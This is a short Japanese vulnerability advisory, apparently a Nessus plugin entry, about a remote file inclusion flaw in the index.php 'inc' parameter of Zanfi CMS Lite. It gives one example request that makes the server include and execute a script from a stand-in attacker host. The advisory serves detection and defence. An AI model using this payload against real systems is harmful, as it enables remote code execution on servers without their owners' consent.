リモートホストは、PHPで書かれたコンテンツ管理システムのZanfi CMS Liteを実行しています。 

このソフトウェアのリモートバージョンにバグがあるため、攻撃者が「index.php」ファイルのファイルインクルージョンのバグを利用して、リモートホストで任意のコマンドを実行する可能性があります。 

攻撃者は次のものをリクエストして、任意のコマンドを実行する可能性があります：

  http://www.example.com/index.php?inc=http://[evilsite]/commands

これにより、リモートスクリプトに「commands.php」ファイルが含められ、実行されます。

検出

Zanfi CMS Lite index.php incパラメーターのリモートファイルインクルード

high Nessus プラグイン ID 15452

変更ログが見つかりません